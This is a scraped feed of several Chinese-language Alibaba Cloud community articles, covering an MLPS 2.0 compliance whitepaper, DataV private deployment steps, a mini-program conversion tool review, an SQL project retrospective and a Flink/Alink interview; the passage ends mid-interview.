        白皮书依照公安部信息安全等级保护评估中心提出的云计算等保2.0合规能力技术体系,结合阿里云安全技术和管理优势,详细阐述了用户等保合规体系,需要依赖云平台安全、云产品安全、云安全产品以及只能由用户自建的四项安全能力。

        其中,云平台安全能力由阿里云自行承担,用户无需关注;云产品安全能力则是利用云计算优势云平台自带的原生安全能力以及云产品默认的安全属性,用户只需负责安全配置;云安全产品能力是基于阿里巴巴集团多年的安全实践以及云平台常态化的攻防实践,为云上用户提供专业的安全产品和服务。

        图2.jpg
        图2 阿里云IaaS服务模式下用户等保2.0安全能力组成

        白皮书从最典型的IaaS服务模式场景出发,通过上述四项安全能力,为用户提供了最佳安全合规实践指引。从图2可以看出,用户在依赖云平台安全能力基础之上,利用云原生安全优势和产品默认安全属性,直接实现66项(占79.1%)技术控制点安全能力。同时,用户还可以选择配套的阿里云安全产品,实现54项(占65.1%)技术控制点安全能力。与此同时,阿里云为用户提供了一站式等保解决方案,专业、快速、合规的解决方案助力云上超过千家客户无忧过等保;并面向不同需求的用户提供不同的等保2.0安全套餐,为用户顺利通过等保2.0保驾护航。

        等保2.0已正式实施,云等保作为等保2.0时代的重要创新,用户需要了解云上等保与传统云下等保的区别,也要充分利用云计算、物联网服务模式带来的技术优势,更好的复用云基础设施的合规能力,让自己更聚焦于自身的业务应用系统和数据安全保护。

        若想了解更多信息,您可以扫描下方二维码,获取《阿里公共云用户等保2.0合规能力白皮书》:

        公共云-小.jpg

        2019年3月份,阿里云联合公安部信息安全等级保护评估中心还发布了《阿里专有云等保2.0合规能力白皮书》,基于云等保合规技术框架,给出了阿里专有云多种交付场景下等保2.0合规的最佳实践,旨在为政府、企业、组织机构等相关单位满足等保合规要求提供行动指南。如需获取白皮书全文,请扫描下方二维码索取。
        专有云二维码-小.jpg

        ]]>
        千呼万唤始出来——DataV私有部署功能 Fri, 02 May 2025 09:39:04 +0800 DataV的开发者们,今天进入你的用户中心,就会发现有一个小惊喜默默的在等待着你。那就是——私有部署功能上线啦!

        一直以来私有部署都是一些有需要的小伙伴所望尘莫及的,毕竟高贵的身份摆在那里,现在不用再看着它,看着它,目不转睛了,直接拥有它吧!

        我们DataV产品开发小哥哥的后背上应该会少很多炙热的目光。

        当然,肯定还有一些亲故不知道这个功能吧!那什么是私有部署呢?

        私有部署是指将DataV开发的页面整个打包下载安装部署到企业内网中运行,举个例子,比如说企业内网中有一个数据库,只能在企业内网中访问,公网是无法访问的,那么线上的页面就不能连接内网的数据库,这种情况下私有部署就能很好的解决这个问题。

        私有部署流程图.png

        新功能当然要介绍一下使用方法啦

        第一步:获取运行环境包

        绑定运行包和账号,只能部署运行此账号下载的大屏。

        下载.jpg

        第二步:部署服务

        • 传输下载好的运行包到准备好的服务器上
        • 新建⼀个目录,如 mkdir datav
        • 解压运行包到DataV目录tar xzvf runtime.tgz ./datav/
        • 应用配置项文件
        • 启动/重新启动/停止/应用检查

        第三步:使用访问

        • 启动之后,在浏览器内访问 DataV 服务所在服务器 ip 地址加服务端口号,登录-添加大屏

          添加大屏.jpg

        • 首页点击[新建项目],在新建页上传大屏包(请不要使用中文名命名大屏包)。上传成功后,首页刷新就可以看到。

          上传大屏包.jpg

        • 链接数据源。私有部署采用DatavProxy 数据源方式(支持 mysql/sqlserver/oracle):
          下载:https://help.aliyun.com/document_detail/111123.html

        使⽤:https://help.aliyun.com/document_detail/59774.html

        • 编辑
          进入大屏编辑页,打开数据配置面板,对接内网数据。数据相关的配置会写入-new的几个文件中,如果需要调整样式,只需要线上重新下载打包大屏,直接覆盖本地文件即可。

        第四步:日志

        • {DataV 服务所在目录}/datav_stdout.log 启动日志
        • {DataV 服务所在目录}/logs

        私有部署功能目前提供两种key供大家使用:

        • 测试key:验证服务器部署情况,只有1天有效期,过期需重新下载,并替换部署。
        • 正式key:可按年按服务器续费,覆盖预算不充足的客户群体。

        友情提示
        购买可登录DataV进入控制台后,进入用户中心进行购买。企业版及以上的版本,才能购买私有部署功能哦!

        赶紧进用户中心查收小惊喜吧!

        ]]>
        湖北宜昌用大数据为企业“画像”增信 Fri, 02 May 2025 09:39:04 +0800   近日,湖北宜昌市得心实用气体有限公司总经理朱延忠通过网上金融服务大厅“企贷通”平台申请200万元续贷,当日下午湖北银行客户经理方超“接单”。随后,朱延忠成功提款。如此便捷高效令朱延忠感叹,这在以前想都不敢想。如今,湖北宜昌探索建设网上金融服务大厅,用政务数据为企业“画像”增信,让银行实时对接放贷,畅通银企对接渠道,创新金融服务实体经济新模式。小微企业面临的融资难、融资贵等问题得到缓解。

          小微企业融资难、融资贵,一方面难在小微企业“抵押难”,缺乏足够抵押物、质押物,难以通过传统金融产品获得融资;另一方面难在银行“获客难”,难以从数量庞杂的小微企业中识别诚实守信、踏实做事的企业。对此,宜昌网上金融服务大厅探索出了相应的解决办法。

          针对“抵押难”,宜昌通过内外部数据的挖掘与整合,围绕涉企信息化关键点发力,打通大数据“肠梗阻”,不仅率先实现工商、人社、民政、公安等32家单位、60余亿条数据归集,更突破性地将电力、税务相关信息接入网上金融服务大厅平台。“利用平台强大的政务数据整合能力,形成包含工商、股权、行政处罚、司法诉讼等信息的企业信用报告,帮助银行精准分析小微企业生产经营和信用状况,降低了对抵押担保的依赖,让银行敢贷款、能贷款、收得回。”宜昌市金融办相关负责人介绍。

          针对银行“获客难”,宜昌设置融资申请平台,企业在线申请,填写需求信息,银行实时接单,根据企业需求推荐相关融资产品。“在后台可以明确看到客户需求,改变了银行过去上门拜访、打电话等传统获客方式,提高了工作效率和成功率。”建行三峡分行副行长刘晖说,平台有效解决了银企双方信息不对称的问题。

          小微企业之所以融资贵,主要是因为银行服务成本高、风险大。而线上快贷模式,省去了许多人工环节,不仅降低了经营成本,也通过智能风控降低了风险,大幅减少了坏账损失。同时,基于平台强大的数据整合,对企业的评价方式由人为判断转变为基于数据分析的科学判断,客观性和科学性大大增强。建行湖北分行介绍,该行“小微快贷”不良率一直稳定在较低水平,目前不良率0.62%,远低于各类贷款的平均水平。如此一来,在降低成本、控制风险的基础上,小微企业融资贵也明显缓解。

          大数据带来的安全感,不仅让银行受益。“有大数据作为支撑,这让我们比过去敢担保了。”宜昌市中小企业担保投资有限公司总经理周菊芝说,过去担保公司只能通过征信报告和固定资产评判贷款人的偿还能力,如今通过网上金融服务大厅的各项大数据,可以精准分析判断对方的实际能力,降低了担保公司的风险。

          宜昌奈克斯汽车商贸有限公司负责人刘文龙做二手车生意,因现金收车,资金压力大。近期他和公司另两名合伙人通过网上金融服务大厅申报了45万元创业担保贷款,从提交申请到银行完成授信仅用了1天时间。按程序完成公示后,刘文龙1周内拿到了贷款。“线下办理需要45天到60天,这么快就融到资,极大地缓解了我们资金周转的压力。”

          此外,宜昌网上金融服务大厅还在探索实施线上抵押、线上公证等业务,进一步降低企业融资成本,帮助银行减少风险,降低不良贷款率。

          自今年2月上线试运行以来,宜昌网上金融服务大厅已有19家金融机构的26项金融产品实现静态展示,9家银行和1家担保公司的7个信贷产品、1个担保产品实现线上直连直通办理。截至10月14日,通过网上金融服务大厅有效申请融资贷款的达到1.56万人(户)次、授信3655人(户)、4.28亿元,放款2171人(户)、2.46亿元。

        转自创头条,原文链接:http://www.ctoutiao.com/2524886.html

        ]]>
        贵阳市科技创新引导基金正式设立 Fri, 02 May 2025 09:39:04 +0800 12月2日,贵阳市科学技术局与贵阳市工商产业投资集团有限公司签署了《贵阳市科技创新引导基金委托出资协议》,贵阳市科技创新引导基金正式成立。科技创新引导基金由贵阳市人民政府授权市科技局出资设立。基金总规模25亿元,其中政府财政性科技专项资金出资5亿元,其他社会资本出资20亿元。主要投向大数据、云计算、人工智能、生物医药、中高端制造等产业。

        转自创头条,原文链接:http://www.ctoutiao.com/2546794.html

        ]]>
        干货大分享,三种小程序跨平台转换工具测评! Fri, 02 May 2025 09:39:04 +0800 在小程序开发的大环境下,我们可以在各种平台上开发小程序。由于平台兼容性、使用的功能API不一致等问题,我们怎样避免再次重复开发,在不同的平台开发相同的小程序呢?
        这时便衍生出了很多小程序转换工具,这里给大家介绍几个好用的转换工具插件,满满的干货,还不赶紧一睹为快!

        一、vscode 插件:wx2my

        wx2my 是一款在 vscode 上使用的插件工具。它可以非常快速地将微信小程序转换成支付宝小程序。但是需要注意的是,转换之后的支付宝小程序不能直接运行,还需要手动修改无法转换的部分。该插件已有3233次下载量。

        1.png

        wx2my 转换工具可以帮助开发者找到需要手动修改的代码部分,输出 todo.html 文件,并在转换后的小程序代码里添加了注释内容,使开发者更容易找到需要进行修改的部分。

        2.png

        转换能力

        • .json: JSON文件转换
        • .js: 脚本文件转换
        •  样式文件.wxss.acss
        •  模板文件.wxml.axml
        •  文件.wxs.sjs
        •  api 使用 wx2my.js 文件桥接函数转换
        • todo.html 转换结果报告,方便开发者查找检查

        示例分享

        以下内容以 证件水印助手(微信小程序版)为例:3.png

        1、安装 wx2my vscode 插件
        4.png

        2、在 vscode 里,Ctrl+Shift+P 打开命令行5.png

        3、执行 wx2my 命令行,即生成一个 output 文件夹
        10.png

        同时也生成了一个 todo.html 文件,可参考这个文件进行代码修改
        6.png

        4、使用支付宝小程序 IDE 打开 output 文件夹,即可以看到转换相对较成功的小程序7.png

        二、vscode 插件:Antmove

        Antmove(蚂蚁搬家) 是一款在 vscode 上使用的插件工具。它是一种轻量级的小程序多端解决方案,它可以帮助开发者低成本地实现小程序的跨平台开发(微信小程序、支付宝小程序、百度智能小程序、头条小程序),达到一套代码开发、多小程序平台运行的目的,也在一定程度上降低了小程序多平台的开发成本。该插件已有1414次下载量。
        8.png

        转换能力

        Antmove 支持跨平台,可以转换多种小程序。

        编译命令 描述
        wx-alipay 微信小程序转支付宝小程序,支持阿里系其它平台小程序编译(如 钉钉小程序)
        wx-baidu 微信小程序转百度智能小程序
        wx-tt (非正式版) 微信小程序转字节跳动小程序
        alipay-wx 支付宝小程序转微信小程序
        alipay-baidu 支付宝小程序转百度智能小程序
        wx-compiler 对于有跨平台代码编写的,可以用该命令得到纯净的微信小程序代码
        alipay-compiler 原生支付宝小程序引用 Antmove 转换而来的组件库时,使用该命令对引用项目编译,以支持 relations 和 selectComponent 能力

        三、npm 包:wxToAlipay

        wxToAlipay 是一款在 NPM 包管理下使用的微信小程序转支付宝小程序。它在打包之前,会对源码进行校验,只有校验通过后才能进行打包。使用时同样需要注意,我们需要手动修改不能转换的部分。在 Github 上,该项目已有 84 个 star。
        9.png

        转换能力

        语法 是否支持
        js
        json
        wxml
        wxss
        wxs
        svg
        自定义组件

        总结

        总体来说,经过多次尝试,wx2my 和 Antmove 一直保持较好的稳定性,每次转换都能成功;而 wxToAlipay 偶尔发生故障、报错。作为 vscode 插件,wx2my 和 Antmove 使用起来也比较方便,只需一行命令即可快速转换。此外, Antmove 还支持转换成各种其他平台的小程序,在多平台支持方面遥遥领先。wx2my 则贴心地给出了需手工转换的报告,和对应的方法、API 的微信和支付宝文档链接,十分人性化。最后,从帮助文档的角度来看,wx2my 和 Antmove 文档详实细致、简洁明了,体验较好。

        wx2my Antmove wxToAlipay
        功能稳定 ☆☆☆☆☆ ☆☆☆☆☆ ☆☆☆
        简洁易用 ☆☆☆☆☆ ☆☆☆☆☆ ☆☆☆☆
        多平台支持 ☆☆☆ ☆☆☆☆☆ ☆☆☆
        服务贴心 ☆☆☆☆☆ ☆☆☆☆ ☆☆☆
        文档详实 ☆☆☆☆☆ ☆☆☆☆☆ ☆☆☆

        以上的干货有没有给你带来帮助呢?欢迎关注我,给你带来更多的干货内容!

        ]]>
        阿里云发布全国首个《阿里公共云用户等保2.0合规能力白皮书》深度解读等云计算、物联网扩展要求 Fri, 02 May 2025 09:39:04 +0800 12月1日,信息系统等级保护条列 2.0(以下简称等保2.0)正式实施,相较等保1.0,本次等保2.0覆盖领域更广,从原有传统系统基础上延伸到了云计算、移动互联、物联网和大数据等新兴领域。为了应对这样的新变化,阿里云发布了全国首个《阿里公共云用户等保2.0合规能力白皮书》,针对等保通用安全要求、物联网扩展要求及云技术进行了一一解答。
        白皮书根据IaaS、PaaS和SaaS服务模式对阿里云全系云产品进行了分类,让用户能够快速定位到自己使用的云产品到底属于哪种服务模式;另一方面明确了三种服务模式下,云上用户适用的等保2.0标准中的技术条款,让用户提前准备需要关注的测评指标和范围,其中IaaS用户,只需关注涉及自身虚拟基础环境和业务应用系统安全的83项技术指标;PaaS用户则需要测评内只需要关注涉及产品配置以及自身业务应用系统安全的49项技术指标;SaaS用户来说,则只需要关注涉及应用安全配置以及业务数据保护的45项技术指标。白皮书的发布让用户将更多精力聚焦自身的业务应用系统和数据安全保护上。
        图1.png
        物联网扩展要求上,阿里云作为物联网领域的先驱者,具备全面的物联网安全基础设施能力,包括具有自主知识产权的物联网可信执行环境、设备身份认证、可信服务管理,并结合阿里云大数据强大的安全情报、风险检测和分析能力及人工智能构建物联网安全运营中心。这次阿里云发布的白皮书中根据等保2.0中需要用户关注的物理防护、接入控制、入侵防范、感知节点设备安全、网关节点设备安全、抗数据重放、数据融合处理及感知节点管理这8大要求,对阿里云IoT安全产品进行了合规性阐述,让用户能够通过阿里云快速定位到更安全、更便捷、更轻量的安全产品。为用户提供设备全生命周期安全管理服务,为用户通过物联网扩展要求奠定了坚实的基础。
        白皮书依照云计算等保2.0合规能力技术体系结合阿里云安全技术和管理优势,详细阐述了用户等保合规体系,其中,云平台安全能力由阿里云自行承担,用户无需关注;云产品安全能力则是利用云计算优势云平台自带的原生安全能力以及云产品默认的安全属性,用户只需负责安全配置;云安全产品能力是基于阿里巴巴集团多年的安全实践以及云平台常态化的攻防实践,为云上用户提供专业的安全产品和服务,为用户提供了最佳安全合规实践指引,为用户顺利通过等保2.0保驾护航。
        图2.png
        阿里云作为云等保2.0时代的先行者和践行者,继2016年成为全国唯一一家云计算等保新标准试点示范单位后,又再一次成为全国首家以高分通过权威机构等保2.0测评的云服务商,为云上用户拿“优”奠定了良好基础。

        ]]>
        从传统软件商到千万营收独角兽,畅捷通如何实现逆袭? Fri, 02 May 2025 09:39:04 +0800 阿里云与36氪发布了中小企业加速平台,帮助中小企业解决融资难、营销难、技术难等企业发展问题。
        https://yida.alibaba-inc.com/o/start-up-accelerator
        点击链接填写表单信息,即可获取阿里云创业支持


        五年前,畅捷通还是一家传统软件公司,主要为小微企业提供传统软件包式财务应用。面对快速增长的SaaS市场,移动线上流量激增企业服务公司纷纷转型,畅捷通也开始寻求转型,探索如何应用SaaS产品服务好小微企业,过程艰苦卓绝。五年后的今天,谁也想不到,SaaS化的转型给畅捷通带来了数万计小微企业的信任。
        捕获44.JPG

        SaaS化转型难 不转型死

        在中国,注册企业数量已经超过一个亿,平均以每天六万八的增速在持续增长,其中中小企业发展态势迅猛,为中国经济贡献了60%的GDP。随着中国企业数字化经济发展备受重视,中小企业的业务需求激增,SaaS市场已企业服务公司成为必争之地。而中小企业又具备赛道多元和发展垂直化的特性,大部分需求较为分散,导致企业服务公司实现SaaS服务标准化难度高,中小企业需求并没有得到满足。所以,今天是企业成长最好的时代,也是最坏的时代。

        在实施SaaS化转型时,有个问题一直困扰着畅捷通。SaaS化转型对企业的IaaS底层能力要求十分严格,传统企业软件实现SaaS化非常困难。在激烈的企业服务市场竞争中,逆势而为不做SaaS化一定会被这个时代抛弃,而无法实现增长则意味着加速企业死亡。

        为了加速发展,畅捷通下定决心进行转型,探索出了一条全新的道路:接入阿里云云市场的云盾应用服务(IDaaS),IDaaS是阿里云为企业用户提供的一套集中式身份、权限、应用管理服务。

        垂直深耕成就财务SaaS领军者

        当今企业服务市场,大部分企服公司纷纷转向了垂直领域的saas深耕。为什么小格局的垂直细分成为了大多数选择呢?道理其实很简单,好比电转打孔,力气小不要紧,只要力往一处使加上速度控制的更加合理,没有转不透的墙,畅捷通就是如此。

        为了拓展财务领域的线上版图,畅捷通和阿里云云市场进行了线上开店、资源互换合作、联合投放等一系列活动。起初,只做财务领域的生意,客单量变化并不不明显,但畅捷通并没有放弃合作,继续想办法开拓线上财务市场。通过与阿里云云市场共创共同实践了“新通路合作模式”,阿里云开放自己的渠道资源和客户资源,畅捷通作为云市场的第三方服务商为企业的财务管理需求输出服务能力。

        触达基础小微企业 线上扩张更上层楼

        随着经济下行,下沉市场成为企业发展的一块新阵地。但小微企业对企业服务的认知程度浅,企业服务信息触达十分困难。在传统分销模式下,畅捷通在做市场下沉时几度碰壁。

        畅捷通在和阿里云云市场合作过程中了解到阿里云心选模式并参与其中。合作期间,阿里云向畅捷通开放自己的渠道、流量以及多个平台(淘宝、天猫、1688、云市场等)资源,针对传统小微企业财务及管理转型问题,打造了云+应用新模式。通过这次基于心选模式的合作,畅捷通成功触达了数万小微企业。

        截止目前,畅捷通与阿里云云市场的合作产品包括:好会计、好生意、薪税管家、T+/T+Cloud等。其中,小微企业——淄博深发汇源工贸公司通过使用畅捷通T+系统,旗下13家传统超市从需要耗费一周进行报表制作,到可以线上实时掌握库存动态,完成了公司内部财务的规范化管理,极大地节省了时间和人力成本。

        凭借阿里云的生态合力,畅捷通不仅实现了原有体系架构的突破,实现了公司在财务软件服务领域的业务成长和SaaS化转型。

        畅捷通与阿里云云市场合作的三年后,凭借阿里云的生态合力,畅捷通探索出了一条全新的To B行业营销通路以及可灵活复制的营销模式。通过线上线下商机营销模型的搭建,畅捷通完成了以大数据赋能技术融合、产品共创、商品售卖、生态交付的全链路底层基础设施建设。

        畅捷通和阿里云的合作通路上已新增了2万多客户,销售金额近五千万。畅捷通还是第一家签约阿里云SaaS加速器的财务领域的公司,希望通过SaaS加速器的技术和商业资源武装自己。未来,畅捷通会继续携手阿里云,在服务小微企业的路上走得更高更远。


        阿里云发布SaaS加速器,设置分销佣金政策招募具备分销能力的服务商分销SaaS,阿里云提供相关的培训支持、产品支持、技术支持等。
        https://yida.alibaba-inc.com/o/SaaS-Accelerator-Mobile
        点击链接填写表单信息,即可成为阿里云SaaS加速器合作伙伴
        尾图.jpg

        ]]>
        一次"失败的"SQL开发经历 Fri, 02 May 2025 09:39:04 +0800 原创: 丶平凡世界
        公众号:SQL数据库开发
        原文链接:https://mp.weixin.qq.com/s/z4I16VNgZsqdhbp0AwfTvQ

        image.png

        最近一直在忙公司的一个SQL项目,好久都没有给小伙伴们写原创文章了。

        趁着项目上线的空闲,给大家总结一下,在开发项目过程中遇到的一些问题。之所以说它是"失败的"项目,是因为遇到的一些问题是完全可以避免,即使最后按要求完成了任务需求。

        项目背景

        公司新上线了一套OA系统,希望将公司成本类的真实数据实时反应到报表上,并且使用新的OA系统来呈现。希望从各个角度监控公司在产品开发上所花的成本情况。

        已有资源

        成本类的部分数据已经存在于BI报表平台,每天都有更新,这些业务逻辑的指标可以直接从BI报表平台获取。

        待开发内容

        此次项目开发需求新增了不同时期的指标对比,部分指标的经营曲线。

        image.png

        遇到的问题

        1、需求未明确
        在项目开发过程中,因为是公司内部开发,没有明确的需求文档,都是依靠口口相传,或通过邮件等来确认指标定义。

        可能有些同学对需求这方面不太了解,觉得我表述清楚,你做出来就是了呀。道理是这个道理,但是这个做出来的过程,如果有很多不确定的因素存在,那么就会极大的影响开发效率。

        在每开发一个指标之前,总是需要人再三确认才能开始写代码。开发过程中还是遇到一个“我以为”是这样,而实际上并非是这样的指标。导致之前写的逻辑需求推翻重写。

        2、整体未规划好
        整个项目,看着不大,无非就是新增几个版本对比和一些历史记录曲线而已。正是由于这种想法,导致一开始没有一个整体的规划,代码写到哪里就是哪。

        原本有一些可以复用的代码,最后还是一个个单独使用。导致后续因为修改代码逻辑,得一个一个的全部再修改一遍。

        如果前期规划好,可以将能复用的代码做成视图,把其他逻辑需要的字段予以保留,在开发其他逻辑时直接使用该视图即可。

        例如,有一个总成本费用,需要看到各个项目的总成本,各个区域公司的总成本,以及集团的总成本。从项目——>区域公司——>集团这是一个非常清晰的向上汇总逻辑。

        只需要把项目的总成本做成视图,在取区域公司和集团的数据时,向上汇总项目的总成本即可。

        image.png

        但因为没有做前期规划,从一开始做成了从集团——>区域公司——>项目的逻辑,导致每一个都是独立的代码,这样就浪费了很多开发时间和后续的逻辑修改时间。

        3、代码版本未控制
        刚开始在没有遇到频繁的修改逻辑时,代码文件的名称直接按照代码的功能进行了命名。等到后来逻辑频繁的修改后,保存的代码文件越来越多,名称也越来越乱。因为没有使用版本控制,已经分不清最后正确的文件是哪个了。

        说到底还是对项目开发不够重视,比较随性,当然这也有项目整体规划不足的原因。

        如果在一开始就想到这些问题,给每个逻辑代码加一个版本编号就可以很好区分问题了,同时也可以做好版本对比。

        image.png

        可取之处

        1、业务逻辑清晰,注释完整
        不管业务逻辑如何修改,每次修改后的代码,都会在其中更新当前代码的功能和注释,以防下次更新时不知道代码片段意义。

        但是与标准的代码声明还是有差别,标准的代码声明如下:

        /*
        代码功能:XXXX

        作者:XXX
        修改人:XXX
        创建日期:XXXX
        修改日期:XXXX
        */
        --代码片段功能注释
        SQL代码
        --代码片段功能注释
        SQL代码 ...

        由于整个项目由我负责,所以没有写作者和修改日期等内容。

        2、代码执行效率较高
        虽然开发的项目数据量较小,但是考虑到未来数据量增多带来的效率问题,代码统一做了优化处理。

        最基本的优化处理方法就是减少返回的数据行,尽量保持代码的简洁。具体的优化方法可以查看公众号里的历史文章,这里就不赘述了。

        3、将所有功能单独做成视图
        由于要内嵌到OA系统,减少代码在OA系统上产生不可预见的异常,将报表的所有逻辑功能均建立为视图,OA系统直接查询视图即可返回所需的数据。

        类似这种跨系统之间的数据传输,视图是比较好的规避异常的方式,在排查异常时只需检查视图上的查询逻辑即可。

        反思

        从上面的问题可以发现,一个优秀的项目:
        首先要明确业务需求,磨刀不误砍柴工,需求不明确乃开发大忌;
        其次需要有一个整体的规划然后才能实施,什么地方可以简化开发步骤,什么地方可以优化需要安排好;
        最后要对代码的版本进行控制,不管是使用工具,还是在做一些小项目手动控制。

        总结

        从这个简单的项目中发现,我在开发方面能力尚可,但是项目管理方面的经验不足。导致开发效率较低,这也为以后开发新的项目做了一个很好的警醒。

        从失败中总结,从失败中成长,希望这个“失败的”项目对你有所启发和帮助。

        ]]>
        阿里重磅开源全球首个批流一体机器学习平台Alink,Blink功能已全部贡献至Flink Fri, 02 May 2025 09:39:04 +0800 作者 | 蔡芳芳
        采访嘉宾 | 王峰(花名莫问)

        11月28日,Flink Forward Asia 2019 在北京国家会议中心召开,阿里在会上发布Flink 1.10版本功能前瞻,同时宣布基于Flink的机器学习算法平台Alink正式开源,这也是全球首个批流一体的算法平台,旨在降低算法开发门槛,帮助开发者掌握机器学习的生命全周期。在去年的Flink Forward China峰会上,阿里宣布将开源Flink的内部分支Blink,把阿里内部对Flink的优化工作全部开放给开源社区,在业内引发热烈讨论,其中有期待也有怀疑。一年后的今天,阿里是否兑现了去年所作的承诺?Blink的合并工作进展如何?刚刚开源的Alink算法平台有哪些独特之处?AI前线在会上对阿里巴巴资深技术专家、实时计算负责人王峰(花名莫问)进行了独家专访,让我们一起来看看Flink的最新变化,以及阿里基于Flink又有哪些新的工作成果。

        自 2019 年 1 月起,阿里巴巴逐步将内部维护的 Blink 回馈给 Flink 开源社区,目前贡献代码数量已超过 100 万行。国内包括腾讯、百度、字节跳动等公司,国外包括 Uber、Lyft、Netflix 等公司都是 Flink 的使用者。

        1.jpg

        今年 8 月发布的 Flink 1.9.0 是阿里内部版本 Blink 合并入 Flink 后的首次发版,在今天的 Flink Forward 2019 大会上,阿里发布了 Flink 1.10 版本功能前瞻,正式版本预计于 2020 年 1 月发布。

        Flink 1.10 版本功能前瞻:Blink 全部功能进入 Flink

        据介绍,Flink 1.10 版本可以看作一个比较重要的里程碑式版本,至此,Blink 全部功能都已经进入 Flink,包括 Blink 中比较关键的设计和通用的优化。以下是该版本将包含的主要功能和技术亮点前瞻:

        1.完成Blink/Flink merge

        (1)更加强大的Blink Query Processor

        • DDL 增强,支持在建表语句中定义计算列和 watermark
        • 生产级别的Batch支持,完整支持 TPC-H 和TPC-DS 测试集,其中 TPC-DS 10T的性能是Hive3.0的7倍
          (2)完成scheduler的重构,支持更灵活batch调度策略

        (3)更完善,更细粒度,更灵活的资源管理

        • 对 TaskExecutor 的内存模型进行了梳理,解决了 RockDB 内存难以配置和管控、TM 启动前后内存计算不一致等长期存在的问题
        • 简化了内存计算逻辑,降低了配置难度
        • 对算子级别的资源用量进行更精细的管理,解决算子资源超用带来的性能及稳定性问题,提高资源利用效率

        2.Hive兼容性生产可用

        (1)Meta 兼容,支持直接读取 Hive catalog,版本覆盖1.x,2.x到3.x
        (2)数据格式兼容,支持直接读取 Hive 表,同时也支持写成 Hive 表的格式
        (3)UDF 兼容,支持在 Flink SQL 内直接调用 Hive 的UDF,UDTF,UDAF

        3.更加强大的Python支持

        • 增加了对 NativePython UDF 的支持,用户可以用Python开发自己的业务逻辑
        • 很好的支持了 Python 类库的依赖管理,Python用户不仅可以自定义Python UDF 而且可以与其他现有的Python library进行集成
        • 在架构上引入了BeamPortability Framework,Flink与Beam社区共同打造功能便捷,性能优越的Python UDF支持框架
        • 与Flink资源管理框架进行集成,实现了对Python UDF资源的管控

        4.支持原生K8S集成

        (1)原生的资源管理,可以根据作业的资源需求动态去申请TaskManager,不需要依赖外部系统或组件
        (2)更加方便的任务提交,不需要安装kubectl等工具,可以达到和Yarn相似的体验

        5.新增多个主流机器学习算法库

        (1)包括逻辑回归,随机森林,KMeans等

        提问:在 1.10 版本中,Blink 全部功能都已经进入 Flink,而这距离上一次 1.9 发布刚过去三个月,那也是 Blink 首次并入 Flink 的版本发布,距离去年阿里宣布要开源 Blink 也不过一年时间。为什么 Blink 的 Merge 进度能做到这么快?过程中遇到了哪些问题?你们是如何解决的?

        莫问: 我们投入了很多资源,包括有数十位技术人员来做这个事情,并行度比较大,所以才能在比较短的时间内贡献多达 150 万行代码。

        提问:整个过程中有没有遇到什么比较棘手的问题?
        莫问: 社区是一个相对开放透明的场景,不像自己的项目可以比较随意地改动,而是要走一个民主的过程,包括要经过社区的讨论、大家的认可,要保证代码的质量等。我们既要做到快速推进,还要保证质量和社区的公平性,这个挑战还是很大的。

        提问:所以你们怎么平衡这两件事情?

        莫问: 整个 Flink 社区的合作模式是比较高效的,社区不同模块的负责人每周都会有视频会议,可能是不同国家的社区讨论,这些都做得非常高效,项目管理做得非常好。在这种机制的保证下,我们可以让代码快速进入同时保证迭代的速度。其实这对工程效率的开发也是非常大的挑战。说白了,我们投入了很多技术人员做这件事,但也不是只看数量。我们投入的很多人手本身就是 Apache 项目的 PMC 和 Committer,而不完全是普通的工程师,这些人本身对于 Apache 项目的工作机制和流程都比较熟悉,他们的效率和作战能力不能按一个人这么算。社区就是这样,不是人多的问题,还需要合适的人。

        提问:您上午在演讲中提到 Flink 正在成为一个真正的 Unified Engine。有趣的是,我们近期已经不止一次听到不同的计算引擎提出类似的说法,比如 Spark 的核心理念也是成为“统一数据分析平台”,能否请您谈谈 Flink 的设计理念?二者的统一有什么相同点和不同点?

        莫问:Flink 的核心理念我们强调过很多次,它的本质计算思想是流处理核心。流处理核心就是所有的都是基于 Stream 来处理,批可以看作是一个有限的流。像今天提到的在线的 Stateful Function 也是 Event Driven,所有的 Event 不停地进入做函数计算,做在线有状态的计算,然后把结果给用户,再不停地迭代。其实在线服务也是无限的,也是不会停止的处理,不停地有人访问,有人处理。Flink 的核心是基于流计算的 Core,去覆盖 Offline 和 Online,这样它跟 Spark 还是不太一样的。Spark 认为所有东西都是基于 Batch 的,而流是无数个 Batch 凑在一起,这一点不太一样。

        但大家在宏观上的愿景都是类似的,用一套计算引擎技术或大数据处理的技术,来解决尽量多的场景,这样从用户的角度来说学习成本更低、开发效率更高、运维成本也更低。所以大家的目标和理念是一致的,只不过在实现这个目标的方法上的选择是不一样的。

        **提问:下面这个问题我们之前问过 Databricks 的工程师,今天也想问问您,如果我要做统一的平台,你也要做统一平台,那会不会存在最后到底谁能真正统一谁的问题?

        **莫问: 我觉得大家并不是说做什么,什么就一定会赢,一定会好。从我个人态度来说,技术还是需要有一定良性的竞争,这样才能相互学习,同时条条大路通罗马,不一定哪一个绝对正确,可能不同场景有不同的偏好或不同的特定区域的需求,或适应的场景不一样。解决类似问题有两三家公司共存,这种状态是比较健康的,就像数据库领域有 MySQL、PostgreSQL 等,在线服务也类似,起码得有两家大公司在一起竞争,是比较合适的。但最终哪个做得更好,还是取决于是否能把自己的理论做到极致。因为理论是理论,你的理论和我的理论听起来各有千秋,但是谁最后能赢看的是细节,包括用户体验。你是否按照正确的方法在做,细节做得够不够好,而不是大家听起来思路一样就没有区别了。细节和社区生态的发展、推进过程都很重要。

        开源 Alink:Flink 机器学习进度几何?

        Flink 在机器学习领域的进展一直是众多开发者关注的焦点,今年 Flink 迎来了一个小里程碑:机器学习算法平台 Alink 开源,这也宣告了 Flink 正式切入 AI 领域。

        Alink 开源项目链接:https://github.com/alibaba/Alink

        Alink 是阿里巴巴机器学习算法团队从 2017 年开始基于实时计算引擎 Flink 研发的新一代机器学习算法平台,提供丰富的算法组件库和便捷的操作框架,开发者可以一键搭建覆盖数据处理、特征工程、模型训练、模型预测的算法模型开发全流程。作为业界首个同时支持批式算法、流式算法的机器学习平台,Alink 提供了 Python 接口,开发者无需 Flink 技术背景也可以轻松构建算法模型。Alink 这个名字取自相关名称(Alibaba, Algorithm, AI, Flink,Blink)的公共部分。

        据悉,Alink 已被广泛运用在阿里巴巴搜索、推荐、广告等多个核心实时在线业务中。在刚刚落幕的天猫双 11 中,单日数据处理量达到 970PB,每秒处理峰值数据高达 25 亿条。Alink 成功经受住了超大规模实时数据训练的检验,并帮助提升 4% CTR(商品点击转化率)。

        提问:能否先介绍一下 FlinkML 和 Alink 的概况,以及二者的关系?

